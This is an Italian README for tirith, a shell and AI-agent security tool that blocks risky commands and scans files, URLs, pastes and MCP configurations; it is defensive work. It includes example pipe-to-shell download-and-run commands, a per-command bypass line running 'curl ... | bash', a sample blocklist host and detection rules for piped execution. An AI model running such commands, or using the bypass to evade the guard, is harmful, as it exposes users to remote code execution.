Android/Termux funziona su Bionic libc, non su glibc, quindi la build aarch64-unknown-linux-gnu non può essere eseguita lì, ha bisogno del linker dinamico di glibc. Utilizza invece la build musl: tirith-aarch64-unknown-linux-musl.tar.gz è collegata staticamente e funziona su Termux senza una libc esterna.```bash

In Termux:

pkg install curl tar

Download the musl build from the latest GitHub release:

curl -fsSL -o tirith.tar.gz
https://github.com/sheeki03/tirith/releases/latest/download/tirith-aarch64-unknown-linux-musl.tar.gz tar xzf tirith.tar.gz install -Dm755 tirith "$PREFIX/bin/tirith" tirith --version

root@kitploit:~
Quindi attiva l'hook della shell in `~/.bashrc` (la shell predefinita di Termux è bash):```bash
eval "$(tirith init --shell bash)"   # add to ~/.bashrc

[!NOTE] Il supporto per Termux è fornito al meglio delle possibilità. L'artefatto musl viene compilato e testato in modo superficiale nella CI, ma tirith non è ancora testato continuativamente su un dispositivo Android reale. Se un hook si comporta male in Termux, apri un issue con l'output di tirith doctor.

Windows

Tutte le funzionalità principali funzionano su Windows, inclusi rilevamento, scansione, webhook, gestione delle policy e caricamento degli audit. Gli hook shell supportano PowerShell. La modalità daemon e tirith setup sono per ora solo Unix.

Scoop:```powershell scoop bucket add tirith https://github.com/sheeki03/scoop-tirith scoop install tirith

root@kitploit:~
**Chocolatey** (in moderazione, in attesa di approvazione):```powershell
choco install tirith

Multipiattaforma

npm:```bash npm install -g tirith

root@kitploit:~
**Cargo:**```bash
cargo install tirith

Mise (registro ufficiale):```bash mise use -g tirith

root@kitploit:~
**asdf:**```bash
asdf plugin add tirith https://github.com/sheeki03/asdf-tirith.git
asdf install tirith latest
asdf global tirith latest

Docker:```bash docker run --rm ghcr.io/sheeki03/tirith check -- "curl https://example.com | bash"

root@kitploit:~
### Attiva

Aggiungi al tuo profilo di shell (`.zshrc`, `.bashrc` o `config.fish`):```bash
eval "$(tirith init --shell zsh)"   # in ~/.zshrc
eval "$(tirith init --shell bash)"  # in ~/.bashrc
tirith init --shell fish | source   # in ~/.config/fish/config.fish

Bash utilizza la modalità enter quando un autotest delle capacità ha dimostrato che funziona per la tua bash, altrimenti usa preexec. tirith setup / tirith doctor eseguono l'autotest; l'hook della shell legge il suo verdetto memorizzato nella cache all'avvio. Vedi risoluzione dei problemi per i dettagli sulle modalità, l'autotest e il comportamento di fallback SSH.

[!WARNING] La modalità preexec di bash avverte ma non può bloccare in tempo reale. Imposta TIRITH_BASH_PREEXEC_ENFORCE=1 per un blocco effettivo tramite shopt -s extdebug. L'applicazione si rifiuta di attivarsi quando HISTCONTROL contiene ignorespace / ignoredups / ignoreboth, qualsiasi HISTIGNORE è impostato, o set +o history è attivo; queste condizioni rendono il blocco non atomico.

Applicazione per shell

Per un blocco garantito a livello di riga su bash, esegui tirith doctor --simulate-enter; se la consegna funziona, la modalità enter è abilitata. Dove non funziona, usa preexec enforce per "blocca quando possibile; ti dice onestamente quando non può."

Nix / Home-Manager: tirith deve essere nel tuo $PATH, gli hook della shell chiamano tirith per nome in fase di esecuzione. Aggiungerlo solo a initContent non è sufficiente.```nix home.packages = [ pkgs.tirith ];

programs.zsh.initContent = '' eval "$(tirith init --shell zsh)" '';

root@kitploit:~
### Aggiornamento e verifica di tirith

tirith può verificare la propria integrità e aggiornarsi. Entrambi i comandi raggiungono la rete solo quando vengono eseguiti.```bash
tirith verify-self          # is this binary the genuine, unmodified release?
tirith update               # update to the latest release
tirith version --provenance # version, build info, install method, verification

tirith verify-self conferma che il binario in esecuzione è il binario genuino e non modificato di una release ufficiale. Riscarica l'archivio della release per la tua versione e piattaforma, lo verifica rispetto al checksums.txt firmato della release, verifica la firma cosign su checksums.txt quando cosign è installato, e conferma che il binario in esecuzione è identico byte per byte a quello ufficiale. Se la verifica completa non è possibile (build di sviluppo locale, nessuna rete, installazione non identificabile da tirith), lo comunica onestamente invece di riportare un falso "verificato". Senza cosign, il checksum viene comunque verificato (riportato come verified-checksum-only); installa cosign per la verifica completa della firma (verified-signed).

tirith update riconosce la presenza del package manager:

  • Installazioni tramite package manager (Homebrew, cargo, npm, Scoop, AUR, apt/dnf) non vengono mai modificate da sé. tirith stampa invece il comando esatto da eseguire, ad es. brew upgrade tirith. L'aggiornamento tramite il package manager mantiene coerente il suo database.
  • Installazioni autogestite (il tarball install.sh o un binario autonomo) vengono aggiornate in loco: tirith scarica l'ultima release, la verifica, poi sostituisce atomicamente il binario, conservando il precedente come file affiancato tirith.tirith-previous. La firma cosign viene verificata per impostazione predefinita: se non può essere verificata (cosign mancante o la release non ha pubblicato firme), l'aggiornamento viene interrotto. Usa --allow-unsigned per ripiegare alla sola verifica del checksum; un mismatch del checksum interrompe sempre, indipendentemente da questa opzione. tirith update --rollback ripristina il binario precedente; --dry-run mostra cosa accadrebbe senza modificare nulla.

[!NOTE] Gli script di installazione (scripts/install.sh e install.ps1 su Windows) verificano anch'essi la firma cosign della release per impostazione predefinita e si interrompono se cosign è assente o la firma non può essere verificata. Installa prima cosign oppure imposta TIRITH_ALLOW_UNSIGNED=1 per installare con la sola verifica del checksum (sconsigliato). Un mismatch del checksum o della firma interrompe sempre, indipendentemente da questa opzione.

Integrazioni con la shell

Oh-My-Zsh:```bash git clone https://github.com/sheeki03/ohmyzsh-tirith
${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith

Add tirith to plugins in ~/.zshrc:

plugins=(... tirith)

root@kitploit:~
### Integrazioni con agenti AI

Usa `tirith setup <tool>` per una configurazione con un unico comando:```bash
tirith setup claude-code --with-mcp   # Claude Code + MCP server
tirith setup codex                    # OpenAI Codex
tirith setup copilot-cli              # GitHub Copilot CLI (run from repo root)
tirith setup cursor                   # Cursor
tirith setup gemini-cli --with-mcp    # Gemini CLI + MCP server
tirith setup kiro                     # Kiro CLI (formerly Amazon Q)
tirith setup pi-cli                   # Pi CLI
tirith setup vscode                   # VS Code
tirith setup windsurf                 # Windsurf

Per la configurazione manuale, consulta mcp/clients/ per guide specifiche per strumento.

Integrazione CI/CD

GitHub Action con caricamento SARIF nella scheda GitHub Security:```yaml

  • uses: sheeki03/tirith@v1 with: fail_on: high sarif: true
root@kitploit:~
Disponibile anche come **pre-commit hook**: vedi `.pre-commit-hooks.yaml` in questo repository.

Scan supporta i filtri `--include`, `--exclude`, `--profile` (carica profili nominati dalla policy) e `--ignore` per scansioni CI mirate.

### Documentazione delle Regole```bash
tirith explain --rule pipe_to_interpreter   # severity, examples, remediation, MITRE ATT&CK
tirith explain --rule curl_pipe_shell --fix # just the remediation ("what to do instead")
tirith explain --list --category terminal   # all rules in a category

Correzione, "cosa eseguire invece"

Ogni risultato include una correzione per regola: una breve e accurata riga su "come rendere questo sicuro", mostrata sotto ogni risultato (Fix:) e in --format json. tirith explain --rule <id> --fix stampa quella correzione da sola.

Quando un comando viene bloccato o segnalato come avvertimento, tirith check --suggest stampa inoltre una riscrittura concreta e più sicura del comando effettivo, ma solo dove una trasformazione è genuinamente più sicura e corretta:```bash tirith check --suggest -- 'curl https://example-cli.dev/i.sh | bash'

→ try: curl -fsSL -o /tmp/tirith-review.sh https://example-cli.dev/i.sh \

&& less /tmp/tirith-review.sh && bash /tmp/tirith-review.sh

root@kitploit:~
Riscrive pipe-to-shell in download-review-run, elimina i flag TLS non sicuri
(`-k` / `--insecure` / `--no-check-certificate`) e cambia il semplice `http://`
in `https://`. Per le scoperte senza una sicura riscrittura meccanica (nomi di
dominio omografi, destinazioni di estrazione di archivi, …) lo dice chiaramente
e mostra invece la riparazione, non emette mai un suggerimento fasullo. Il flag
è consultivo: non cambia né il verdetto né il codice di uscita.

### Modalità Daemon (Unix)

Processo in background opzionale per latenza sub-millisecondo e arricchimento
consapevole della rete (risoluzione di URL abbreviati, controlli di blocco DNS):```bash
tirith daemon start       # tirith check auto-delegates when running
tirith daemon stop

[!NOTE] La modalità demone è disponibile solo su Unix oggi.


Comandi

I comandi quotidiani:

Questo è il set per l'uso quotidiano. tirith offre 74 comandi in totale, in 8 gruppi: scansione e analisi, stato e salute, configurazione, policy e fiducia, guardie di shell e sistema (igiene, persistenza, esecuzione, percorso, contesto, ssh, sudo, iac), supply chain, integrazioni con agenti AI, e forensics e risposta. Esegui tirith --help per l'elenco categorizzato, o consulta il riferimento completo dei comandi. Il flag globale --quiet (o TIRITH_QUIET=1) silenzia l'output informativo senza nascondere errori, verdetti o notifiche di sicurezza.


Principi di progettazione

  • Il rilevamento viene eseguito localmente: paste, score, diff e why non effettuano chiamate di rete. tirith check (incluso il percorso --approval-check utilizzato dagli hook della shell) analizza anch'esso localmente, ma prima attiva un aggiornamento periodico in background del database delle minacce (vedi sotto), quindi non è strettamente offline. tirith check --offline (o TIRITH_OFFLINE=1) sopprime l'aggiornamento e lo mantiene completamente locale.
  • Aggiornamento periodico in background del database delle minacce: tirith check e gli hook della shell attivano un controllo in background economico e distaccato al massimo una volta ogni 24 ore per impostazione predefinita (threat_intel.auto_update_hours), per mantenere aggiornato il database firmato. Non blocca mai il comando. Imposta auto_update_hours: 0 per disabilitarlo o --offline / per sopprimerlo per invocazione. lo attiva; passa direttamente attraverso il motore locale.

Configurazione

Avvio rapido```bash

tirith policy init # creates .tirith/policy.yaml in your repo tirith policy validate # check for syntax/schema errors tirith policy test "curl https://example.com | bash" # dry-run against policy

root@kitploit:~
`tirith policy init` accetta `--template <name>` per una policy iniziale curata:```bash
tirith policy init --template individual      # solo developer defaults (alias: personal)
tirith policy init --template ci-strict       # fail-closed, no bypass, scan fail-on
tirith policy init --template ai-agent-heavy  # tuned for heavy AI-agent use
tirith policy init --template oss-maintainer  # reviewing contributor-controllable risk
tirith policy init --template startup         # small-team balance
tirith policy init --template enterprise      # strict, with an active package_policy block
tirith policy init --template mcp-strict      # locked-down MCP server and tool trust

Ogni template è un policy ben commentato e con schema valido che puoi modificare ulteriormente. Senza --template, tirith policy init scrive il policy completo predefinito.

File del policy

Tirith utilizza un file di policy YAML. Ordine di ricerca:

  1. .tirith/policy.yaml nella directory corrente (risale fino alla radice del repository)
  2. `~/.config/tirith/policy.yaml````yaml fail_mode: open # or "closed" for strict environments paranoia: 1 # 1-4: higher = more sensitive strict_warn: false # require explicit acknowledgement for warnings

allowlist:

  • "get.docker.com"
  • "sh.rustup.rs"

blocklist:

  • "evil.example.com"

severity_overrides: docker_untrusted_registry: CRITICAL

scan: ignore_patterns: - "node_modules" - "target" profiles: ci: include: [".md", ".json", ".yaml", ".claude/"] fail_on: high

root@kitploit:~
Usa `allowlist_rules` per le soppressioni limitate a una regola quando ti fidi di una fonte per una regola ma non vuoi aggiungerla globalmente all'allowlist:```yaml
allowlist_rules:
  - rule_id: curl_pipe_shell
    patterns:
      - "get.docker.com"

Gestione della fiducia dalla CLI

tirith trust gestisce pattern fidati senza modificare manualmente il YAML delle policy. La fiducia è per impostazione predefinita ristretta e con scadenza: fidati della cosa più specifica che funziona, e le voci scadono dopo 30 giorni a meno che non si scelga di escluderle.```bash

Narrowest scope, a specific URL or path is accepted as-is, 30-day TTL.

tirith trust add raw.githubusercontent.com/org/repo/main/get.sh

A whole domain / wildcard / bare TLD is broad, it must be opted into.

tirith trust add get.docker.com --broad --rule curl_pipe_shell

Opt out of the default TTL, and record why the entry exists.

tirith trust add example.com --broad --permanent --reason "internal mirror, OPS-42"

tirith trust list # scope class per entry; '!' marks broad ones tirith trust explain example.com # what it covers, when it expires, why added tirith trust diff # what changed in the trust set tirith trust gc --expired # drop expired entries

root@kitploit:~
Ogni **ambito** di una voce è classificato come `exact`, `substring`, `domain`,
`wildcard` o `bare-TLD`. Un ambito ampio (`domain` / `wildcard` / `bare-TLD`)
richiede `--broad`, quindi una concessione estesa è sempre una scelta deliberata. Tutti
i sottocomandi supportano `--format json`. I trust store scritti da versioni precedenti di
tirith continuano a funzionare senza modifiche: una voce senza TTL è considerata permanente.

### Escalation e override delle azioni

Gli avvisi vengono tracciati per sessione. Se la stessa regola si attiva ripetutamente, le regole di escalation possono passare a un blocco:```yaml
action_overrides:
  shortened_url: block            # always block, regardless of default severity

escalation:
  - trigger: repeat_count
    rule_ids: ["*"]               # any rule
    threshold: 5
    window_minutes: 60
    action: block
  - trigger: multi_medium
    min_findings: 3               # 3+ medium findings on one command → block
    action: block

Rivedi gli avvisi accumulati in qualsiasi momento:```bash tirith warnings # table of session warnings tirith warnings --format json # structured output tirith warnings --clear # clear after viewing

root@kitploit:~
All'uscita dalla shell, viene stampato un riepilogo di una riga se sono stati registrati avvisi durante la sessione.

Altri esempi in [docs/cookbook.md](https://github.com/sheeki03/tirith/blob/HEAD/docs/cookbook.md).

### Regole di rilevamento personalizzate

Scrivi le tue regole in `.tirith/policy.yaml` sotto `custom_rules:`. Ogni regola è un `pattern:` (regex) o un albero di predicati semantici `when:`, più un `context:` (`exec`, `paste` o `file`), un `severity:` e un `title:`.```yaml
custom_rules:
  - id: no_internal_pastebin
    context: exec
    severity: high
    title: "Internal pastebin is not allowed for piped execution"
    when:
      all:
        - command.has_pipeline_to: [bash, sh]
        - url.host_matches: "paste\\.corp\\.example$"

Il DSL when: combina all: / any: / not: su predicati come command.has_pipeline_to, command.uses_sudo, url.host, url.host_matches, url.reputation, url.domain_not_in, package.ecosystem, package.name_matches, package.reputation, e file.path_matches. I predicati di reputazione leggono il database di minacce locale firmato, quindi una regola personalizzata non effettua comunque alcuna chiamata di rete sul percorso critico. Convalida e prova a secco prima di eseguire il commit:```bash tirith rule validate # check every custom rule: shape + context coverage tirith rule test --rule no_internal_pastebin --input "echo hi | bash" tirith rule explain --rule no_internal_pastebin

root@kitploit:~
### Altri controlli delle policy

Altre chiavi di policy, tutte con impostazioni predefinite sicure (`tirith policy init` scrive il set completamente commentato):

- `package_policy:` le soglie trasformano i segnali della supply chain in verdetti di blocco o avviso (`block_typosquat_distance`, `warn_low_downloads_below`, `block_newer_than_days`, `block_not_found`).
- `agent_rules:` `allow:` / `deny:` corrispondono all'origine del chiamante di un comando (`{ kind, name }`); una corrispondenza `deny` forza un blocco. `scan.trusted_mcp_servers` e `scan.mcp_allowed_tools` accettano server MCP specifici e strumenti per server.
- Guardie opt-in, disattivate per impostazione predefinita: `env_guard_enabled`, `exec_guard_enabled`, `hooks_guard_enabled`, `baseline_enabled`, più `iac_require_plan_before_apply`, `sudo_require_reason` e `allowed_install_domains`.

I file `.tirith/policy.yaml` con ambito repository possono solo restringere, mai allentare: una policy del repository che tenta di ampliare una lista consentita, ridurre la gravità o disabilitare una guardia viene neutralizzata, e `tirith policy effective` mostra quali campi sono stati rimossi. Solo le policy a livello utente e organizzativo (`TIRITH_POLICY_ROOT`) possono rilassare un'impostazione predefinita.

### Modalità avviso rigoroso

Con `strict_warn: true` (o `--strict-warn` sulla CLI), i risultati a rischio medio richiedono una conferma esplicita nei terminali interattivi invece di un avviso silenzioso:```
$ curl -sSL https://get.docker.com | sh

tirith: WARNING
  [MEDIUM] pipe_to_interpreter, Download piped to interpreter
tirith: proceed with 1 warning(s)? [y/N]

Gli hook shell utilizzano il codice di uscita 3 per il protocollo warn-ack. Gli hook obsoleti che non conoscono il codice di uscita 3 cadono nel comportamento di fallimento aperto (fail-open).

[!NOTE] Il codice di uscita 3 è il percorso del protocollo warn-ack dell'hook, non il normale contratto diretto CLI. I chiamanti non hook normalmente non dovrebbero vedere il codice di uscita 3; se lo vedono, indica che è richiesta un'acknowledgement.

Bypass

Per il caso raro in cui sai esattamente cosa stai facendo:```bash TIRITH=0 curl -L https://something.xyz | bash

root@kitploit:~
Questo è un prefisso shell standard per comando; la variabile esiste solo per quel singolo comando e non persiste nella sessione. Le organizzazioni possono disabilitarlo completamente con `allow_bypass_env: false` nella policy.

> [!CAUTION]
> `TIRITH=0` è per comando. Non esportarlo nei profili shell, dotfile o configurazioni CI; un bypass permanente vanifica l'intero modello di protezione. Se ti trovi a usarlo spesso, aggiungi invece la fonte attendibile a `allowlist` nel tuo file di policy.

---

## Gestione dei dati

Registro di audit locale JSONL in `~/.local/share/tirith/log.jsonl`:
- Timestamp, ID sessione, azione, ID regole, anteprima comando oscurata
- Dati di rilevamento grezzi (`raw_action`, `raw_rule_ids`) conservati insieme all'azione applicata per copertura di auditing
- Stato di avviso sessione in `~/.local/state/tirith/sessions/`
- **Nessun** comando completo, variabili d'ambiente o contenuti di file

Disabilita: `export TIRITH_LOG=0`

---

## Documentazione

- [Riferimento comandi](https://github.com/sheeki03/tirith/blob/HEAD/docs/commands.md): ogni sottocomando, raggruppato per categoria
- [Modello di minaccia](https://github.com/sheeki03/tirith/blob/HEAD/docs/threat-model.md), ciò che tirith difende e ciò che non difende
- [Cookbook](https://github.com/sheeki03/tirith/blob/HEAD/docs/cookbook.md), esempi di policy per configurazioni comuni
- [Risoluzione dei problemi](https://github.com/sheeki03/tirith/blob/HEAD/docs/troubleshooting.md), peculiarità shell, latenza, falsi positivi
- [Compatibilità](https://github.com/sheeki03/tirith/blob/HEAD/docs/compatibility.md), superficie stabile vs sperimentale
- [Politica di sicurezza](https://github.com/sheeki03/tirith/blob/HEAD/SECURITY.md), segnalazione vulnerabilità
- [Disinstallazione](https://github.com/sheeki03/tirith/blob/HEAD/docs/uninstall.md), rimozione pulita per shell e gestore pacchetti

Guide alle funzionalità:

- [Governance agent](https://github.com/sheeki03/tirith/blob/HEAD/docs/agent-governance-design.md) (attribuzione dell'origine chiamante e `agent_rules`)
- [Filtro output MCP](https://github.com/sheeki03/tirith/blob/HEAD/docs/mcp-output-filter.md) (il gateway e il contratto di sanificazione output MCP)
- [Modalità doctor](https://github.com/sheeki03/tirith/blob/HEAD/docs/doctor-modes.md) (completa vs `--quick`, e lo schema snapshot JSON)
- [Profili LSP ed editor](https://github.com/sheeki03/tirith/blob/HEAD/docs/lsp-profiles.md) (diagnostica inline dell'editor)
- [Messaggistica nativa browser](https://github.com/sheeki03/tirith/blob/HEAD/docs/browser-native-messaging.md) (host ed estensione provenienza clipboard)
- [Provenienza incolla](https://github.com/sheeki03/tirith/blob/HEAD/docs/paste-provenance.md) (la regola `paste_source_mismatch`)
- [Formati canary](https://github.com/sheeki03/tirith/blob/HEAD/docs/canary-formats.md) (formati honeytoken sintetici)
- [Integrazione prompt](https://github.com/sheeki03/tirith/blob/HEAD/docs/prompt-integration.md) (collegamento di `tirith prompt-status` al prompt della shell)

## Licenza

**La copertura di sicurezza core è fornita nell'albero open-source.** Tutte le 221 regole di rilevamento e il server MCP sono disponibili dal sorgente. Il repository contiene ancora percorsi di codice legacy relativi a licenze e policy-server, quindi evita di assumere che ogni percorso runtime sia già senza tier.

tirith è con doppia licenza:

- **AGPL-3.0-only**: [LICENSE-AGPL](https://github.com/sheeki03/tirith/blob/HEAD/LICENSE-AGPL), gratuito secondo i termini copyleft
- **Commerciale**: [LICENSE-COMMERCIAL](https://github.com/sheeki03/tirith/blob/HEAD/LICENSE-COMMERCIAL), se gli obblighi copyleft AGPL non funzionano per il tuo caso d'uso, contatta [email protected] per licenze alternative

Attribuzioni dati di terze parti in [NOTICE](https://github.com/sheeki03/tirith/blob/HEAD/NOTICE).

## Star History

[![Star History Chart](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)](https://star-history.com/#sheeki03/tirith&Date)
Scarica lo strumento
IncidenteAnnoForma dell'attacco
Verme npm Shai-Hulud2025Malware di pacchetti auto-propagante; ha esfiltrato token GitHub e chiavi AWS da oltre 180 pacchetti, pubblicando i risultati su repository pubblici Shai-Hulud
Slopsquatting2023 in corsoGli attaccanti registrano nomi di pacchetti allucinati dagli LLM su npm / PyPI / crates.io; USENIX 2025 ha scoperto che il 58% dei nomi allucinati si ripete tra le esecuzioni
Strumentazione Team PCP / UNC1069in corsoSpazzate di credenziali post-compromissione, scraping di /proc/*/mem, escalation dei privilegi Docker
Sabotaggio di colors.js / faker.js2022Auto-sabotaggio dell'autore di pacchetti ampiamente utilizzati
Compromissione event-stream2018Proprietà trasferita all'attaccante; payload mirato a portafogli Bitcoin
StrumentoCosa fa
tirith_check_commandAnalizza i comandi shell per pipe-to-shell, URL omografi, injection di env
tirith_check_urlValuta gli URL per attacchi omografi, trucchi punycode, URL accorciati, IP grezzi
tirith_check_pasteControlla il contenuto incollato per escape ANSI, controlli bidi, caratteri a larghezza zero
tirith_scan_fileScansiona un file per contenuti nascosti, Unicode invisibile, avvelenamento configurazioni
tirith_scan_directoryScansione ricorsiva con priorità dei file di configurazione AI
tirith_verify_mcp_configConvalida le configurazioni MCP per server non sicuri, injection di shell negli argomenti, strumenti wildcard
tirith_fetch_cloakingRileva il cloaking lato server (contenuti diversi per bot vs browser)
tirith mcp-server
come
mcp_settings.json
  • .github/copilot-instructions.md, .github/agents/*.md
  • module
  • Chart Helm (Chart.yaml), una dipendenza del chart da un repository di chart non affidabile
  • package.json: uno script del ciclo di vita preinstall/install/postinstall che esegue un comando pericoloso (pipe-to-shell, payload offuscato, download-and-run); questi hook vengono eseguiti automaticamente su npm install
  • Shell
    Tipo di hook
    Testato su
    zshpreexec + paste widget5.8+
    bashpreexec (due modalità)5.0+
    fishevent fish_preexec3.5+
    PowerShellgestore PSReadLine7.0+
    ShellComportamento
    bash modalità enterBlocco affidabile. Associa il tasto Invio; può fermare un comando prima che bash si impegni ad eseguirlo. Utilizzato per impostazione predefinita solo dove un autotest delle capacità (tirith doctor --simulate-enter) ha dimostrato che la consegna di bind -x funziona per la bash in esecuzione.
    bash preexec + TIRITH_BASH_PREEXEC_ENFORCE=1Blocco condizionale. Utilizza shopt -s extdebug; blocca quando la history di bash può fornire una visione affidabile dell'intera riga. Retrocede a solo avviso quando la cronologia è filtrata (HISTCONTROL=ignorespace/ignoredups/ignoreboth, qualsiasi HISTIGNORE, o set +o history) o un alias / sostituzione di comando / eval fa deviare la riga digitata da BASH_COMMAND.
    bash preexec (senza flag di enforce)Solo avviso. Stampa un banner DETECTED sui comandi rischiosi; non blocca. Il fallback quando l'autotest della modalità enter non ha dimostrato che la consegna funzioni.
    zsh, fish, powershellBlocco affidabile tramite hook preexec nativi.
    nushellSolo avviso (attualmente non supporta l'intercettazione dei comandi).
    ComandoCosa fa
    tirith check -- <cmd>Analizza un comando senza eseguirlo (--suggest aggiunge una riscrittura più sicura)
    tirith pasteControlla il contenuto incollato (chiamato automaticamente dagli hook della shell)
    tirith scan [path]Scansiona file, directory e configurazioni (--profile, --format sarif, --ci)
    tirith run <url>Sostituto sicuro di curl | bash: scarica, analizza, rivedi, poi esegui (Unix)
    tirith fix -- <cmd>Riscrive interattivamente un comando rischioso in una forma più sicura
    tirith score <url> / diff <url>Analizza i segnali di fiducia di un URL o mostra dove si nascondono caratteri sospetti
    tirith explain --rule <id> / whyDocumentazione e rimedio delle regole, o spiega l'ultimo trigger
    tirith status / doctorSei protetto? Diagnostica installazione, hook e policy (--fix, --quick)
    tirith setup <tool> / initConfigurazione di uno strumento AI con un comando, o stampa l'hook della shell
    tirith policy {init,validate,test}Crea impalcatura, convalida e prova la tua policy
    tirith trust {add,list,remove}Gestisci pattern fidati (ambito ristretto, TTL di 30 giorni predefinito)
    tirith threat-db updateScarica e verifica il database delle minacce firmato
    tirith package risk <eco> <name>Valuta il rischio della supply chain di un pacchetto
    tirith ecosystem scan [path]Valuta ogni dipendenza dichiarata in un progetto
    tirith mcp {lock,verify}Blocca e controlla i server MCP di un repository
    tirith daemon startDemone in background per controlli più veloci (Unix)
    TIRITH_OFFLINE=1
    tirith paste
    non
  • Nessuna riscrittura dei comandi: tirith non modifica mai ciò che hai digitato.
  • Nessuna telemetria: niente analisi, niente segnalazione di crash, nessun comportamento di chiamata a casa.
  • Nessun processo in background di lunga durata per impostazione predefinita: tirith viene invocato per comando ed esce immediatamente. L'aggiornamento del database delle minacce sopra descritto è un aggiornamento distaccato di breve durata, non un processo residente. L'opzionale tirith daemon start è l'unico processo residente, ed è facoltativo.
  • Rete solo quando richiedi, configuri o per l'aggiornamento del database delle minacce: run, fetch e audit report --upload raggiungono la rete solo su invocazione esplicita; l'aggiornamento del database delle minacce segue la pianificazione sopra. La modalità demone aggiunge la risoluzione URL consapevole della rete, e integrazioni opzionali di webhook / policy-server possono effettuare richieste in uscita quando configurate. Il rilevamento principale non chiama mai casa.
  • Protezione in uscita sui fetch. tirith run, fetch --save e command-card fetch rifiutano di default host privati, di loopback e di metadati cloud, e una protezione SSRF ricontrolla ogni hop di reindirizzamento. Imposta TIRITH_ALLOW_PRIVATE_FETCH=1 per consentirli.